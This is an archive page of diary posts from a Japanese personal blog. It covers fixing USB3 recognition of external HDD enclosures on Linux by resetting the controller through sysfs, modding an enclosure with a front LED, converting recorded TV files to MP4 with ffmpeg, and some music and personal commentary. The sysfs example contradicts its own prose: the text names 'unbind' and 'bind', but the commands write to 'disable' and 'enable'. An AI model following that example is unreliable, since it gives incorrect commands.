Archive for the ‘日記’ Category

先日買ったLogitecのHDDケース(ビデオ用)が僕のPCや別の外付けHDD(バックアップ用)と相性が悪いようで、USB3では まともに繋げられないことが分かった。もちろん、そもそも、ビデオは観ないので気にする必要はなく、そのまま「そういうものだ」と目をつぶって忘却の彼方に放り出せばいいのだが、それはできない相談だw 随分試行錯誤して、原因に関係ありそうなことが分かって対処ができ、今は無事USB3で繋がるようになった。

環境

  • マザーボード: ASUS P8H67-V
    • USB3のコントローラ: ASMedia ASM1042
  • HDDケース
    • Logitec LGB-EKU3 (= LHR-EKWU3BK)
    • センチュリー 裸族のインテリジェントビル5Bay CRIB535EU3
  • OS: Linux Mint 20 Xfce

現象

  • LogitecのHDDケースに入れたHDDとセンチュリーのケースに入れたHDDをASMediaのUSB3ポートに繋いで同時に電源を入れると、片方(ほとんどはLogitec)が認識されないことが多い。
    • 認識されない場合、Logitecの電源はoff(ランプが消灯)になる。
    • 片方ずつ電源を入れた場合はほとんど問題ない。
      • ただし、センチュリーのケースはタイミングによっては起動しないことがある(offにした直後にonすると、まず駄目)。
      • Logitecもたまに駄目なことがある。
  • 認識されなかった場合、lsusbコマンドでも表示されない。
  • 認識されなかった場合でも、問題のドライブのUSBコネクタを抜き挿しすれば直る。

原因に関係ありそうなこと

  • ドライブを接続した場合、システムのログ(syslog)には、USBのconfig error(詳細は不明)が出ることが多い。
  • センチュリーのケースは一旦High Speedで認識され、すぐに切断されてSuper Speedになることが多い。
    • ただし、上の2つの現象が起こっても正常に認識されることもある。
  • 以下は推測
    • センチュリーのケースの電源が経年劣化で弱くなっていて、電源投入直後の動作が不安定。
      • 仕様上は電源の容量は足りている(HDDの起動時の消費電流を概算で確認した)。
    • Logitecのケースの自動電源オフ機能がせっかち過ぎて、アイドル(USBプロトコル的に非接続)状態だとすぐにoffになってしまう。
      • この状態になると、PCに繋がっていないのと同じなので、電源off/onや抜き挿しする以外は何もできない。
    • ASM1042が古く、USB3対応が怪しい。
    • 同様に、マザーボードも古く、BIOSのUSB3対応が怪しい。
    • 同様に、LinuxのASM1042ドライバが怪しい。

関係なかったこと・試さなかったこと

  • UAS(USB Attached SCSI)が問題になるという情報があったが、どうもASM1042(またはLinuxのドライバ)は対応していないようで(ログに非対応というメッセージ("usb 4-2: USB controller 0000:05:00.0 does not support streams, which are required by the UAS driver.")が出る)、UASを有効にしても無効にしても、現象には関係なかった。また、速度も変わらなかった。
    • ただ、非対応と出るので、念のために無効にしている。
    • 古い情報(2014)だが、LinuxではASM1042のUASはうまく動かないために、無効にするパッチが出ていたようだ。それが今はどうなっているかは不明(無効にはなっておらず、致命的な問題もないが、うまくも動かない)。
  • ドライブやケースが冷えていることは関係なかった(寒い朝に起動しても問題は起こらなかった)。逆に熱いほうが関係しているのだろうか? あるいは、純粋にタイミング的な問題で、温度には無関係なのかも知れない。
    • 今日の昼の比較的暖かい時に試したら問題なかったので、温度は関係なさそうだ。 (12/15 16:50)
  • BIOSのUSB関係の設定はいくら変えても関係なかった。
    • 意味が分からないものがほとんどで、マニュアルにも書いてないものがあり、手探りで試した。
  • 以下は試さず。
    • BIOSのファームウェアは最新なので、更新しようがなかった。
    • ASM1042のファームウェアは公式に配布されていないので、更新しようがなかった。
    • どちらかのドライブをUSB3のハブを介して接続すれば、あるいは、別のUSB3インタフェースボードを使えば直りそうな気がしたが、どちらも手持ちはないからお金が掛かるし、わざわざ古いPCに追加するのは馬鹿らしいので止めた。
    • センチュリーのケースの電源を交換したかったが、やっぱり手持ちはないので、壊れてからにすることにした。
    • 書いたあとで気になったが、どちらかあるいは両方のケーブルが悪いということはあるだろうか? まずないとは思うが、そういうオチもあるから怖い。

対処

  • 問題のドライブ(のUSBコネクタ)をソフト的に抜き挿ししてみたら、うまい具合に両方のHDDが認識されたので、処理を自動化するプログラムを作った(次項を参照)。
    • 検索したら いくつかの方法が見付かったが、USBコントローラを無効にしてから有効にするのが効果があった。 (→ 参照)
      • 具体的には、LinuxのUSBコントローラのunbindとbindという制御ファイルにコントローラのデバイスID(Linuxのデバイス関係にはいろいろな名前があるので、正しい呼び方は分からない)を書き込む。
        • 例(super userで実行):
          • dev_id="0000:05:00.0" (/sys/bus/pci/drivers/xhci_hcdの下にIDの名前のディレクトリがあるので、対象のものを探す)
          • 無効化: echo $dev_id > /sys/bus/pci/drivers/xhci_hcd/disable
          • 有効化: echo $dev_id > /sys/bus/pci/drivers/xhci_hcd/enable
      • この方法だと、そのコントローラに繋がっているすべてのデバイスが切り離されてしまうので、多くのデバイスを使っている場合は余り便利でない。(別のコントローラに繋がっているデバイスは全く問題ない)
    • 念のため、抜く前に、認識されてマウントされているディスクをumountすることにした。

ソフト

  • 問題発生の検出と対処を自動化するスクリプト(chk-usb3-mf.sh)を作った。
  • chk-usb3-mf.shは以下の処理を行う。 (概要)
    1. システムのログ(/var/log/syslog)にメッセージが記録されるたびにチェックし、問題に関係のあるイベント(下記)を抽出して、それぞれに対応する処理を行う。
      • USB config error (例: "usb usb4-port1: config error"): 処理に必要ではなく、参考のために抽出している。
      • Super Speedデバイスの認識 (例: "usb 4-1: new SuperSpeed Gen 1 USB device number 4 using xhci_hcd"): それほど重要ではなく、参考のために抽出している。
      • High Speedデバイスの認識 (例: "usb 3-1: new high-speed USB device number 2 using xhci_hcd"): 処理に必要ではなく、参考のために抽出している。
      • SCSIデバイスの接続 (例: "sd 6:0:0:0: Attached scsi generic sg3 type 0")
        • なぜか、ディスクIDの先頭は"sd"の場合と"scsi"の場合があった。
      • ディスクのマウント (例: "Mounted /dev/sdd1 at /media/XXXX/VOLUME on behalf of uid YYYY"): 上のattachと比べてマウントには時間が掛かるので、今は参考程度にしか使っていない。
      • 周期タイマー(ログのイベントではない): タイムアウト処理のため、一定時間(2秒)ごとに起動する。
    2. SCSIデバイスが接続されたら、ディスク数を+1する。
    3. ディスク数が想定値(2)になったらOK(= 問題は起こらなかった)なので、タイマを停めて内部状態をリセットする。
    4. そうでない場合はタイマを起動する。
    5. タイマがタイムアウトした(前回のSuper Speedデバイスの認識から規定時間(6秒)以内にディスク数が想定値(2)にならなかった)場合、問題が発生したので、USBの再スキャン(USBコントローラの無効・有効化)処理を行う。
      1. 再スキャンを行うかのダイアログを出す。
      2. 回答が「行う」の場合は、以下を実行する。
        1. Super userの権限が必要なので、以下の処理をpkexecを使って行う。
        2. 認識されたディスクがマウントされていたらumountする。
          • タイミングによっては、問題を検出したときはドライブを認識だけしていて、この処理の直前にマウントされる場合があるので、ドライブのデバイス名が分かる場合は、エラーになってもいいのでumountするようにした。
        3. そのディスクのUSBコントローラ(= ASM1042)を無効にする。
        4. 少し(1秒)待つ。
        5. 無効にしたUSBコントローラを有効にする。
        6. 少し(1秒)待つ。: 不要と思われるが、念のために入れた。
      3. 内部状態をリセットする。

結果

  • 成功: おそらく10回以上試したが、問題の発生を確実に検出できてダイアログを表示し、そこで指定することでUSBデバイスの再スキャンを行って両方のドライブを認識できるようになった。

その他

  • 電源投入直後に比べ、コントローラの無効・有効後のドライブの認識はすごく速い。これが何か関係あるのかも知れない。
    • 単に、HDDなので電源on後に回転数が上がるのを待つ時間があるだけなのか?
  • ASM1042のSuper SpeedとHigh Speedは、仮想的に別のポートとして扱われている(LinuxではデバイスIDが異なる)。
  • 一度、ファイルマネージャ(Thunar)の動作がおかしくなった。Thunarのボリューム管理と本プログラムのumount処理が競合したと思われる。
  • 想定した数のドライブが接続されていることを前提にしているので、本当にドライブが少ない場合でも問題が起こったと認識してダイアログが出るのが今ひとつ。
    • ドライブが認識されていない状態ではドライブが繋がっているかどうかは分からないので、ドライブ数を自動で判別するのは難しい。
  • イベントのチェックや再スキャン処理の実行はもっとスマートな方法(udevを使う?)があると思うが、udevはなかなか手ごわいので、今回は見送った。
  • 本当はダイアログを出さずに自動的に再スキャンしたいが、無限に再スキャンし続けることがありそうなので、今は止めている。

 

これでめでたくLogitecのHDDケースもUSB3で繋げられるようになった。USB3になった効果としては、転送速度が約2倍(80MB/s前後)になった。とはいえ、何度も書いているように、このHDDを使うことはほとんどないので、あくまでも自己満足の世界であるw

ただ、USBポートのソフト的な抜き挿しは以前からやりたかった(何度も失敗していた)ので、用途は限定的ながらもその方法が分かったのは、収穫だ。

 

そして、(前に書いたが、)Logitecのケースについては、この処理に加えて、定期的にアクセスすることで自動電源オフ機能を実質無効化できたのと電源・アクセスランプを前面に付けたので、ようやくまったく普通に使えるようになった。いやぁ、全く面倒な奴だ・・・w

 

PS. デバッグや動作確認で何度もoff/onすると、いつかセンチュリーの電源が壊れそうで ひやひやしていたが、今はまだ大丈夫そうだ。でも、古いもの(2011年に購入)なので いつかは壊れる気がする。

  •  0
  •  0

常見: 「痛い中年」として生きる

以前、ツイッターだったかで参照したら、「いいね」されて 驚いたことがあった。今回は、エゴサされて ここで議論できると最高だが、特段議論するネタでもないw

まず、僕と彼は同類なのは認めるが、全然相憐れみないw 彼は僕から見てもイタい。数十年前の僕よりもひどい気がする。毎回自分の写真(ネタじゃなくて、何もおもしろくない)を載せるなんて、ナルシシズムの極みではなかろうか。

ただまあ、年齢が僕より十歳若いので、十年前の僕と比べると・・・いや、それでも駄目だ。せいぜい30年前だw そして、

今時、BRUTUSなんてまだ売ってるの? おもしろいの?? POPEYEはあるの?

と言いたい。

が、まあ、僕としても、好き勝手に生きていると、下手しなくてもああいう風に見られることを肝に命じて、こういう人を他山の石として、日々つつましく暮らしたいものだ(大嘘)

 

関係ないけど以前から書きたかったので書くと、香港の周さんには本当に感心している。逮捕とか収監とかされるのに、逃げも隠れもせず、堂々としていたではないか(都合が悪くなるとすぐに入院する、どっかの政治家に ならわせたいよ)。記事で見た数枚の写真はどれも堂々と写っていて、すごく感心した。

ああいう人が居るから、若者に期待するのだ。

  • 「痛い中年」として生きる

    「痛い中年」として生きる

    今さらだが、気づいてしまった。自分は「痛い中年」であるということを。以前も、「痛い中年」を描いた『デ…

  •  1
  •  0

前回ちょっと書いたように、HDDケース(Logitec LGB-EKU3(= LHR-EKWU3BK))の電源・アクセスランプは背面(ケーブルを挿す側)に付いているため、「普通」に設置すると見えなくて不便だ。※ ランプが見えるように設置すると、ケーブルが見苦しい

※余計な省電力機能がなければ問題ないが、ランプを見ないと今動いているのかスリープしているのか分からないので、見えないと困る。

それで、ランプを前面に追加した。

最初は元のランプ(LED, 写真中央付近の緑色の丸い部品)を移そうかと思ったが、なるべく元のままにしておきたかったのと、LEDを外す時に破損するのを避けたかったので、追加することにした。もちろん、く、手持ちにLED(部品)のストックなどなく、肉や野菜じゃないから「あら こんなところに」なんてこともないがw、外して使えそうなものがありそうなので探したら、あった。以前、安いから買ったものの使い物にならなかった、車用FMトランスミッタの電源ランプが使えそうだった。

早速外して繋げてみたが、なぜか点かなかった。元のLEDと並行に(電流制限抵抗のうしろに)接続したのだが、電圧が2Vくらいだったので低過ぎると考えた。元のLEDの消費電力が高くて電圧降下したのか、もしかすると元のLEDは低電圧タイプ(3Vとか1.5Vとか)のLEDなのかと思った。

ただ、今考えると、繋ぎ方を間違えていた気がする。基板のLEDに繋がるパターンが、なぜか直前で+とGNDが交差しているため、繋ぐところを間違えたのかも知れない。2回目(後述)に その間違いをしたことに気付いた。

それにしても、そもそも、「低電圧タイプのLED」というものがあるのか疑問だし、こんな安い製品にそんな特別なものを使う訳がない。

それで低電圧タイプのLEDを探すが、当然、あてはない。それでも、もしかしたらと思って古いルータのものを外して試そうとしたが、半田が違うせいか(融点が高い?)小さ過ぎる(2x1mmくらい?)せいか、ケーブルが付かなかったので諦めた。

それで、再びトランスミッタのLEDで試すことにした。今度は、元のLEDとは独立に電源を供給することにした。そうすれば大きな電流が取れるので、多少電圧が低くても点く可能性があると考えた。元のLEDの抵抗の前(電源側)に別の抵抗を繋いで、それにLEDを繋いだら点いたので、ほくそ笑んだ。抵抗の値は、僕の昔の知識だと330Ωと相場が決まっているが、いろいろ試したら510Ωでも眩しいくらいだったので、それにした。

元の抵抗はチップ部品でとても小さく(参照: 写真中央付近のLEDの手前の3つの縦長の長方形のうち、一番右の黒い物)、もし、剥がれたり短絡したら大変なので結構躊躇ったが(それもあって、最初は元のLEDに並列に繋いで試した)、両端の2箇所で半田付けされているので、過熱しない限り剥がれないだろうと考えて挑戦してみた。

思わぬ落とし穴は、接続に使ったケーブル(その時たまたま見付かったテキトーなもの)が短くて、HDDを着脱するには足りないことだった。それで、PCのファン用コネクタで着脱できるようにした。ところが、そのコネクタが結構大きくてケース内の側面や底面には入らないので、仕方なく外を通した。まあ、BTTFの改造版デロリアンみたいだと言えなくもないw 不満はあるものの、とりあえずできた

しかし、どう ひいき目に見ても、全く美しくない。これじゃない! そもそも、ケーブルが見えるのが嫌で改造したのに結局見えるのでは意味がないので、やり直した。細くて柔らかくて長いケーブル※に交換し、ケース内(HDDの横)を通すことにした。LEDは前面パネル上部の凹みを切って穴を開け、ハリ玉(ブチルゴムの粘着剤)で固定した。本当は、LEDをパネルの後ろに付けて光を透過させたかったが、パネルが厚くて無理だった。

※これも、LEDを取ったFMトランスミッタのUSBケーブル(電源・アンテナ用)だ。そのトランスミッタは煮ても焼いても食えない奴だったが、最後には役に立った。虎じゃないがw

なかなか疲れたが、僕にしてはうま行った。ケーブルの芯線が細いので、コネクタやLEDとの接続部が弱いのが気になるが、頻繁にHDDを着脱しなければ問題なさそうだ。

結局、「元のままに」とは行かず、壊れても保証は効かなくなってしまったが、仕方ない。そもそも余り使わないものだから、保証期間内に故障が発現する可能性は低い。

更にそもそもで言えば、使わない物にこんなに手間を掛ける必要があったのかという疑問は大いにあるが、まあ趣味・手慰みということでwww

 

作業後に思ったが、ランプを追加するのでなく、元のランプの後ろ(前)に鏡のようなものを付けて光を前に反射させれば、無改造でできたかも知れない(そういえば、小さい機器などでプラの導光体のようなものを見ることがある)。アナログ的・アンプラグドな解で、シンプルでなかなかおもしろい。言ってみれば、インディの鞭だろうか。が、まあ、それにもいろいろ難しいことがありそうだ。

そして余談だが、このケースは駄目なことばかりではなく、基板や内部にゆとりが多くて作業しやすかったし、余ったケーブルを収納するのにお誂え向きの空間すらあったので感心した。 (実際には、文字通り「詰めが甘い」のだろうが・・・)

あと、前面パネル左右の固定ネジを隠すためだけに少し小さい飾りパネルが重ねられていたり(参照: 飾りパネルを外した状態, 付けた状態)、今にしては珍しく予備のネジが2本ずつ付いていたりして、安いものなのに意外なところに手が掛かっているのが不思議だ。そんなことに気を遣うんだったら、最初から前にランプを付けて欲しかったし、クソ過ぎる省電力機能なんて付けないで欲しかった。が、まあ、そこは諸般の事情(「今あるものを売る」?)なのだろう。

一方、背面パネルは、LEDの表示が"LED"、USBコネクタは"USB"、電源ジャックには中と外のどっちが+かが書いてなく(これにはちょっと困った)、いかにも「分かってない人」が作った感ありありで、神は細部に宿らない製品のようだw

 

PS. 意外に、暗いところでの撮影はスマフォ(AQUOS sense lite)のフラッシュを使うのがうまく行った。デジカメ(IXY Digital 3000IS)だと、フラッシュを使うと明る過ぎてランプが見えなくなってしまうが、フラッシュを使わないと暗くなり過ぎてしまう(これはこれで幻想的でいいがw)。デジカメのフラッシュが調光できないせいなのだろうが、スマフォのおまけフラッシュに負けていいのだろうか?? それに、なぜか、スマフォのほうが手ブレしにくい。

スマフォのカメラがちゃんとしているなら、本当にコンデジは要らないのかも知れないな・・・

  •  0
  •  1

先日ようやくEvernoteからの脱却が片付いて、これで ちょっとのんびりできそうだとPCをいじっていたら、ふと、観もしないビデオが山ほど入ったHDDを整理したくなった。

詳しく書くと、僕のPCにはSSD(システムディスク)の他にHDDが2個あり、ビデオはビデオ用HDDと、(それだけでは足りず、)もう一個(ドキュメントや音楽用)に入っている。その後者に入っているビデオをどうにかしてビデオ用HDDに移し、ビデオ用HDDをPCから外して保管し、PCのHDDをドキュメント・音楽用だけにして簡素化したくなった。そうすれば、使いもしないHDDをいつも動かしておくことがなくなって気分が良くなり、将来小さいPCケースにすることもできそうだからだ。

なお、外したHDDをずっと動かさないでおくと、メカが劣化して いざ使う時に動かなくなりそうなので、HDDアダプタに入れてバックアップHDDと同じ電源系統にして、バックアップする時に電源が入るようにして、定期的に動かすことで劣化を防ぐことを考えた。

とは言え、そもそも今まで溜まったビデオを観たことなんてほとんどないので、そういう維持措置、それどころかデータ自体が不要な気もしたが、まあ、無碍に捨ててしまうのもなんなのでw、今は残すことにした。

ビデオの容量の大半は地デジなどのTV番組(当時はちゃんとN○Kと契約していたw)を録画したファイル(MPEG2-TS、以下TS)で、1本10GB以上にもなることがある(今となっては「馬鹿かな?」と思うし、当時も確かに大きいとは思って居たものの、HDDも大きいからそれほど大きな疑問はなかった)。

TSを圧縮する方法を調べたら、MPEG4(以下MP4)にするといいようだった。ffmpegというプログラムで試してみたら、容量が1/10くらいになった(例: 約30分の番組で、TSが3.3GBだったのが、MP4にしたら330MBになった)ので、「これはいい!」と、「ちょっとやってみる」ことにした。そして、いつものように想定外の問題が多発して苦労した・・・w

それにしても、もう圧縮方式の細かいことは分からなくなってしまったが、TSはなんであんなに巨大(圧縮が効いてない)なのだろうか? 駄目な子だったのか、MP4はその後の進歩の成果なのか。これだったら、一般人がTSで保存する意味はほとんどないではないか。

記憶と記録から思い出すと、以下のような想定外の問題に苦しんだ・・・

  • ffmpegのクソ仕様
    • ffmpegは標準入力(stdin)からキーを読み込むらしく、一括変換スクリプトが誤動作して(ffmpegにファイル名を読み込まれてしまい、最初のファイル1個しか変換できなかった)訳が分からず、しばらく悩んだ。普通はstdinがターミナルか判定するものだが、なぜかしていないようだ。
      • でも、今となっては(以下に延々と書く問題に比べたら)こんなのは可愛い方だったw
    • あと、警告だかを黄色い文字で出されて(ターミナルの背景が明るいので)、全然読めなくて困った。
  • 一部のファイルで音ズレ (謎) ← 二か国語とステレオ放送の切り替えが悪かったようだ。
    • TVのタイマー録画は番組開始の少し前から録画が始まるが、前の番組と本編の音声モード(二か国語/ステレオ)が異なると(例: 本編の前がニュース)、MP4に変換した時に本編が音ズレする(約0.8秒、音が遅れる)問題が起こった。
      • TSを再生する時は問題なかったのが不思議だが、実は他にもいろいろ問題はあって、どうやら まともに再生できるものは少なかった。
      • Windowsでは、日本製の日本のTVにきっちり対応しているソフトを使って居たので大丈夫だったが、Linuxではまともに再生していなかったので気づかなかった。
      • → いろいろ調べ、試行錯誤して、ffmpegのjoinというフィルタで二か国語の主と副音声をMP4のステレオの左右に振り分けてみたら(後述)、なぜか音ズレがしなくなった。
        • ↑ 主/副と左/右の対応を無意識に決めてしまったが、大丈夫かと今になって心配になった。でもまあ、左右はいつでも交換できるから、いいやw
  • 「ガラパゴスMPEG2-TS」の問題
    • デジタルTVを録画した場合、1ファイル中に複数の「プログラム」というものが入っており、中にはワンセグらしきものもある。どういう訳か、そのワンセグが再生されたり変換時に抽出されることがある(その場合、ぼやけた天気予報のようなものになることが多い。: これを見た時、放送の予定が変わってちゃんと録画されていなかったのかと、今更ながら思ってw、ファイルを削除した。でも、あとで本当のことが分かってバックアップから戻した)。正常な場合も多いので、不思議だ。
    • 上記の二か国語とステレオ放送の問題もある。
    • 更に、アナログと違って「二か国語かつステレオ」の番組もあって、一応両方残したいが、どうやったら全部をMP4に入れられるのか分からず、途方に暮れた。。。
      • → 上の音ズレに似たような処理で、ffmpegの-mapというオプションで二か国語の主と副音声をMP4の2組のステレオ音声にして対応した(合計4チャネル)。主と副は再生時にプレーヤーで選択できる。
  • MP4は万能でない。
    • 小さいビデオ(MPEG2など)を圧縮すると、画質の劣化がひどい。
      • → 一括変換時はファイル形式(suffix)でTSだけを抽出し、更に、ファイルサイズが小さい場合も変換しないようにした。
  • Linuxには何でも再生できる動画プレーヤーがない。
    • (ガラパゴス)TS, BD, DVD, MPEG2などのフォーマット全部をまともに再生できるプレーヤーはない。
      • いろいろ試した結果、対応フォーマットの幅広さに関してはffplayが一番マシで、次はCelluloidかvlcと思う。
      • ただ、ffplayは余りにも簡素で使い勝手が悪いので、再生用のスクリプトを作った。
        • DVD(IFOやVOBを指定)や、音声(MP2)が別になったMPEG2(M2V)を音声を合わせて再生できるようにしたり、動画のサイズ(画素数)に従って、適当なサイズで表示するなどの機能を付けた。
        • が、作りながら、そもそも観ないのに そんなものを作る必要はあるのかと疑問に思ったw ただ、たまに確認する時(があるとして)などに何も考えずに観られたほうがいいのは確かなので、意味はある。
      • → その後、ffplayで再生するのは、他のプレーヤーでは特殊な場合に対応できないTSだけにして、あとはvlc(DVD)とCelluloid(MP4, BD, MPG, 他)を内部的に切り替えて使うように改良した。適材適所である。
        • なお、vlcはDVDのメニューが動くので使った。
  • HDDケース(Logitec LGB-EKU3(= LHR-EKWU3BK))の問題
    • 自動で電源offになるのが早過ぎて、USB3のポートにバックアップ用HDDと一緒に繋ぐと認識されないことが多い。USB3だと単独でも駄目なことがある。
      • バックアップ用HDDの起動が遅く、それまでにHDDケースがアクセスされないと電源が切れてしまうようだ。
      • PCが古く、当時出たてのUSB3 IFとの相性が悪いのかも知れない。
      • → 仕方ないので、HDDケースはUSB 2に繋ぐことにした(そういうことなら、もっと安いUSB2対応のケースにすれば良かった・・・)。まあ、ビデオなら問題はない(そもそも観ないしw)。
    • 使っていて気付いたこと。
      • このケースは5分間(短い!!)アクセスしないとスタンバイになり、次にアクセスする時は結構時間が掛かり(数秒間だろうが、10秒以上に感じる)、その間は関係するアプリがハングしたようになってイライラするので、ディスクがマウントされている時は定期的(4または5分ごと)にアクセスするようにして、スタンバイさせないようにした。今、効果を確認中である。 (12/12 12:20)
      • 電源・アクセスランプが後ろ側(ケーブルを繋ぐ側)にあって(コストダウンのためだと思う)、正面から見えなくて不便だ。今は後ろ側を前に向けているがかっこ悪い。あとで改造して、ランプを正面に移したい。 (12/12 12:23) → 前面にランプを追加した。 (12/13 7:03記)
      • 「アルミ製ケースで放熱性がいい」とうたっているが、疑わしい。密閉して通風せず、HDDとケースが密着しておらず(上部で接してはいるが、充分とは思えない)、ケースも放熱しやすい形状ではないので、熱はこもると思う。実際、HDDの温度は通常より高目になった(10℃近く高くなった)。熱くはないが、熱を持つタイプを長時間使うと良くなさそうだ。 (12/13 5:30)
    • 結局、このケースはなんかイマイチだ・・・ 一応使えるけど。
  • Linuxのデバイス名が変わる問題
    • 大昔と違い、ディスクのデバイス名が起動時の状況で変わるため、外付けHDDを繋いだまま起動すると、それが/dev/sda(通常はシステムドライブの名前)になってしまい、状態監視ソフトMuninのHDD関連の表示がおかしくなる。。。
      • udevの設定で回避できそうだが、とりあえずは、起動時には外付けHDDはoffにすることにした。
      • デバイス名が変わってもちゃんと起動するだけマシだが・・・
        • 良く考えると、デバイス名が変わっても大きな問題なく動くのがなかなかすごいと思う。
        • 更に考えると、「だったら、デバイス名なんて意味ないから止めろよボケ!」って言いたいが、僕には作れないので言えない。
      • → その後、MuninのHDD関連のプラグイン: hddtemp_smartctlとsmartの設定で、ディスクのデバイス名でなくディスクID(/dev/disk/by-id/*)でアクセス・表示するようにして、デバイス名が変わっても値が変わらないようにした(ディスクIDはなかなか長いが仕方ない)。他にもデバイス名を使うプラグインはあるが、方法が分かったので良しとする。 (12/12 12:12)
        • → その後、hddtemp_smartctlで仮想的な(公称の?)デバイス名を使う方法が分かり、従来どおりの表示(例: "/dev/sda")にできた。また、特定のドライブのタイプを指定する方法も分かった(これにより、デフォルトでは対応していない外付けドライブの温度も表示できるようになる)。概略を以下に書く。 (12/12 23:48)
          • /etc/munin/plugin-conf.d/munin-nodeのhddtemp_smartctlセクションに以下を設定する。
          • 仮想的なデバイス名の指定: env.dev_仮想デバイス名 実際のデバイス名("/dev/"は省く)
            • 例: env.dev_sda disk/by-id/ata-ADATA_SX900_.....
          • 特定のドライブのタイプの指定: env.type_デバイス名 ドライブのタイプ
            • 例: env.type_sdc sat
      • → その後、BIOSのSATA設定でシステムドライブなどのPlug and playをoffにしたら、外付けHDDを繋いだまま起動しても内蔵ディスクのデバイス名が変わらなくなったようだ。Plug and playが有効なドライブはUSB接続と同等に扱われるのか。 (12/14 7:03)
  • 動画管理ソフト tinyMediaManagerの最新版(V4)が有料(サブスクリプション)になってしまった。しかも、安くない。
    • 今の版(V3)に不満があることもあって代替を探したが、なかなかいいものないので、「自作するかなあ」と思い掛けたが、そもそもほとんど使わないので、今使っている古い版で充分だと気付いた。

他にもあったかも知れないが、思い出せない。

そんなこんなで、ようやく落ち着いた。PCが古いため、約150本(最初は最低限だけ圧縮しようと思って居たが、段々、あれもこれもと増えた)のビデオの圧縮に数日間掛かったが、その甲斐あって、合計約3TBが約2TBに減り、目論見どおりビデオ用HDDをPCの外に取り出せて、PCのベイはまさにスカスカだ^^ 変換したビデオを削除すれば、ドキュメント・音楽用HDDの空きが500GBくらい増えて1.2TBくらいになる。こっちもスカスカだ。これなら、ちょっと怖いけど、将来は大き目のSSD一個にできるかも知れない。

 

なお、TSの圧縮(MP4への変換)は以下のようなコマンドで行った(それぞれ見様見真似・試行錯誤で決めたので、これで本当に正しいかは不明)。

通常の場合:

ffmpeg -i (ファイル名).ts -c:v libx264 -crf 29 -preset veryfast (ファイル名).mp4

説明: -crfは品質を、-presetは変換速度を指定するようで、検索したり少し試して、上のようにした。crfが29だと圧縮後のサイズが1/10くらいになった。

音ズレへの対応:

fm_cda_L_pno=(左チャネルに対応するTSのプログラム番号(例: 1024))
fm_cda_R_pno=(右チャネルに対応するSのプログラム番号(例: 1025))
ffmpeg -i (ファイル名).ts -c:v libx264 -crf 29
-preset veryfast -filter_complex
"[0:$fm_cda_L_pno][0:$fm_cda_R_pno]join=inputs=2:
channel_layout=stereo[a]" -map 0:0 -map "[a]" (ファイル名).mp4

説明:TSの中にいくつかあるプログラムなるもののうち、日本語と英語と思われるものの音声をMP4の左と右に割り当てている。本来は、放送のモードがステレオに変わったらステレオになるべきだと思うが、録画に使ったソフトかffmpegの仕様なのか、ずっと二か国語モードのままなので、このようにした。

なお、検索して参照したページにもう一つの方法として書かれていた、amendというフィルタだと、左右が混ざってしまって良くなかった。 (良く分からないで使っているせいだとは思う)

ただ、本来は、音声モードが変わる時になぜか起こる音ズレを解消したかったのに、単に音のチャネル割り当てで直ったのが謎だ。

ステレオの二か国語への対応:

ffmpeg -i (ファイル名).ts -c:v libx264 -crf 29 -preset veryfast
-map 0:0 -map 0:1 -map 0:2 (ファイル名).mp4

説明: デジタルTVの二か国語放送は主・副音声ともにステレオなので、それぞれの音をMP4に入れた。主音声は最初の2チャネルペア(-map 0:1)、副音声はそのあとの2チャネルペア(-map 0:2)になっており、プレーヤーでは、例えば、vlcでは"Audio track"で切り替えることができる。

 

それから、確認のためにMP4に変換後のビデオをちょっとずつ観ていたのだが、いろいろな感想があった。

  • 昔の洋楽のPVの番組は、ほとんど音(演奏)でしか知らないアーティスト(例: ボストン、プリテンダーズ、ブームタウン・ラッツ)が動く姿が観られて、なかなか興味深かった。あと、たまに、口パクでなく本当に演奏しているものもあって、貴重だった。
    • まあ、今ならYouTubeでいくらでも観られて、そでも観ないのだから、やっぱり僕には必要ではないのだろうが、ちょっと観るのはおもしろい。
    • でも、年代にもよって、60年代は「いかにも」で ほとんどつまらなかった。ビートルズは異質だったのか、特別僕の好みだったようだ。そして、60-80年代ではやっぱり80年代が良かった。
    • 更に余談だが、さっきPVを観たプリテンダーズのボーカルの女の人は「姉貴」って感じで頼れそうな気がする。でも、下手に甘えると「ウルセー」とか言われれそうだが、実際にはそうでもなさそうなのがいい。と妄想しているw
      • あと、プリテンダーズはギターが二人ともテレキャスだったのがポイント高い(たまたまその曲だけかも知れないが)。高校の頃はシンプルな外観が大好きだった。今は、音から言うとレスポールかねえ。
  • YMOは好きだけど、各メンバー(坂本も細野も高橋も)は全員好きじゃない。(今となっては)全員暗くて意識高そうで、更に気持ち悪い。
  • 当時(十年くらい前)好きで録り溜めた日本の女優・歌手などの番組は、全部捨てたいw
  • 当時でもベテランの領域になっていたアイドル系女性歌手を、とてもクリアなPCのディスプレイでアップで観てしまうと、「うむ・・・」という気分になった。
  • 当時書いたかも知れないが、2011年2月の「題名のない音楽会」でマーティー・フリードマンがエレクトリックギターでソロを演奏した、ラフマニノフのピアノ協奏曲 第2番(抜粋?)がなかなか良かった。乗りはいいし、音もいいし(意外にもギターの音は浮いておらず、ピアノに通じる響きすらあった)、カデンツァがうまい具合にギターソロに対応していた。
    • もう少し細部が丁寧なら、完璧になったと思う。あと、カデンツァのアドリブはもう少し自由さやゆらぎが少ない方が良かった気がする(一言で書くと、「少しやり過ぎ感があったかも」)。それがロックギターで、それは好きだけど、曲はロックではないので。: この味付けは なかなか難しいと思う。
    • そして、「やっぱりピアノには負けるよなー」と思ったw
    • この番組はYouTubeにないようなので、意外に結構貴重なのかも知れない。
    • 余談だが、彼の演奏を探したら「天城越え他」(2011)があり、僕も石川のそこら辺の歌は好き(かっこいいと思う)だし、ギターがなかなか気持ちいいので、意外に趣味が近いところがあるのかも知れない。でも、あの髪の毛は邪魔そうだw
  • ほんの一瞬を観ただけでつまらないと感じる作品は多い。松田優作は好きだけど、時代劇などはつまらない。
  • 生のキャンディーズ(初期)は歌が下手だった・・・ 小泉も。
  • 大昔にLDやVHSからPCに取り込んだビデオと同じ作品でHD版などでもあるものがあり、それらを比べるととんでもなく画質が違うので驚く。昔はあんなに小さくてボケボケの映像でも、「LDは綺麗だ」とか言って観ていたものだ・・・ (ボケや画質の悪さは、PCに取り込んだ当時に知識が足りなくて、設定が今一つだったせいもある。VHSの3倍モード的な感じで、ボケ以外にギザギザになっている。)
  •  1
  •  0

(酔っているので軽く)

以前も書いたのは確かだ。でも、この曲(演奏)はなかなかいい と再び書きたい。

例えば、大変細かいが、終わり方がなかなか好きだ。

オクターブのトレモロで余韻がある。「展覧会の絵」に通じるものがある。

